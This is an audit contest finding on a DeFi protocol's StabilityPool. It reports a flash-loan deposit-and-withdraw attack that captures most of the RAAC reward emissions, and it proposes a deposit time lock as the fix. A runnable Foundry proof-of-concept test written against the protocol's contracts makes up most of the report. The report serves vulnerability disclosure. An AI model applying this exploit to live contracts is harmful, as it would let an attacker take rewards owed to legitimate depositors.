Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

StabilityPool is prone to flashLoan attack resulting in unfair reward distribution

Summary

The StabilityPool contract is vulnerable to a flash loan attack that allows malicious actors to manipulate reward distributions by temporarily depositing large amounts of tokens. The attack results in attackers unfairly earning a disproportionate amount of RAAC token rewards while significantly diluting legitimate users rewards.

Vulnerability Details

The vulnerability exists in the deposit mechanism of the StabilityPool contract. The test test_flashLoanAttack() in the PoC demonstrates how an attacker can:

  1. Wait for the reward minting process to begin after the first user deposited and the emissionUpdateInterval passed

  2. Execute a flash loan to borrow a large amount of crvUSD

  3. Deposit the borrowed crvUSD into the LendingPool to receive rTokens

  4. Deposit the rTokens into the StabilityPool to receive deTokens

  5. Immediately withdraw everything in the same transaction (withdraw rTokens from StabilityPool to withdraw crvUSD from LendingPool)

  6. Repay the flash loan

The test shows that with this attack:

  • Attacker receives ~316.67 RAAC tokens

  • Legitimate user (user1) receives only ~0.000000000000003167 RAAC tokens

PoC

In order to run the test you need to:

  1. Run foundryup to get the latest version of Foundry

  2. Install hardhat-foundry: npm install --save-dev @nomicfoundation/hardhat-foundry

  3. Import it in your Hardhat config: require("@nomicfoundation/hardhat-foundry");

  4. Make sure you've set the BASE_RPC_URL in the .env file or comment out the forking option in the hardhat config.

  5. Run npx hardhat init-foundry

  6. There is one file in the test folder that will throw an error during compilation so rename the file in test/unit/libraries/ReserveLibraryMock.sol to => ReserveLibraryMock.sol_broken so it doesn't get compiled anymore (we don't need it anyways).

  7. Create a new folder test/foundry

  8. Paste the below code into a new test file i.e.: FoundryTest.t.sol

  9. Run the test: forge test --mc FoundryTest -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {crvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../../contracts/core/tokens/DEToken.sol";
import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import {RAACMinter, IRAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
contract FoundryTest is Test {
StabilityPool public stabilityPool;
LendingPool public lendingPool;
RAACMinter public raacMinter;
crvUSDToken public crvusd;
RToken public rToken;
DEToken public deToken;
RAACToken public raacToken;
RAACNFT public raacNFT;
DebtToken public debtToken;
RAACHousePrices public raacHousePrices;
address public owner;
address public user1;
address public user2;
address public user3;
address public treasury;
uint256 public constant INITIAL_BALANCE = 1000e18;
uint256 public constant INITIAL_PRIME_RATE = 0.1e27;
function setUp() public {
// Setup accounts
owner = address(this);
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
treasury = makeAddr("treasury");
// Deploy base tokens
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy price oracle and set oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
// Deploy NFT
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
// Deploy pool tokens
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
// Deploy pools
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(owner);
// this is needed otherwise lastEmissionUpdateTimestamp will underflow in the RAACMinter constructor
vm.warp(block.timestamp + 2 days);
// Deploy RAAC minter
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
// Setup cross-contract references
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// Initialize Stability Pool
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
// Setup permissions
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
// Mint initial tokens and setup approvals
// also deposit crvUSD to the stability pool to get rTokens
_setupInitialBalancesAndAllowances();
}
function test_flashLoanAttack() public {
address attacker = makeAddr("attacker");
uint256 largeAmount = 100000000000000000000e18;
// setup initial deposit from user1 to kick off the minting process
vm.startPrank(user1);
stabilityPool.deposit(INITIAL_BALANCE);
vm.stopPrank();
assertEq(deToken.balanceOf(user1), INITIAL_BALANCE);
// wait for the minting process to start
vm.roll(block.number + 2400);
vm.startPrank(attacker);
// simulate a large deposit could be done via curve FlashLender
crvusd.mint(attacker, largeAmount);
crvusd.approve(address(lendingPool), largeAmount);
lendingPool.deposit(largeAmount);
rToken.approve(address(stabilityPool), largeAmount);
stabilityPool.deposit(largeAmount);
assertEq(deToken.balanceOf(attacker), largeAmount);
// withdraw in the same tx
stabilityPool.withdraw(largeAmount);
lendingPool.withdraw(largeAmount);
vm.stopPrank();
uint256 raacTokenBalanceAttackerAfter = raacToken.balanceOf(attacker);
console2.log("raacTokenBalanceAttackerAfter", raacTokenBalanceAttackerAfter);
// attacker should have the initial crvUSD balance back to repay the flash loan
assertEq(crvusd.balanceOf(attacker), largeAmount);
// rToken and debtToken should be 0
assertEq(rToken.balanceOf(attacker), 0);
assertEq(deToken.balanceOf(attacker), 0);
// user1 rewards
uint256 user1Rewards = stabilityPool.calculateRaacRewards(user1);
console2.log("user1Rewards", user1Rewards);
// ====================
// attacker rewards: 316.666666666666662433
// user1 rewards: 0.000000000000003167
// ====================
}
function _setupInitialBalancesAndAllowances() internal {
// Mint crvUSD to users
crvusd.mint(user1, INITIAL_BALANCE);
crvusd.mint(user2, INITIAL_BALANCE);
crvusd.mint(user3, INITIAL_BALANCE);
// Setup approvals for users
vm.startPrank(user1);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
}
}

Impact

  • Allows attackers to steal the majority of protocol rewards

  • Severely dilutes legitimate users' rewards

Tools Used

  • Foundry

  • Manual code review

Recommendations

Implement a time lock for deposits to prevent withdrawals in the same tx:

mapping(address => uint256) public lastDepositTimestamp;
uint256 public constant MIN_DEPOSIT_DURATION = 1 days;
function deposit(uint256 amount) external {
// ... existing deposit logic ...
lastDepositTimestamp[msg.sender] = block.timestamp;
}
function withdraw(uint256 amount) external {
require(
block.timestamp >= lastDepositTimestamp[msg.sender] + MIN_DEPOSIT_DURATION,
"Minimum deposit duration not met"
);
// ... rest of withdraw logic ...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.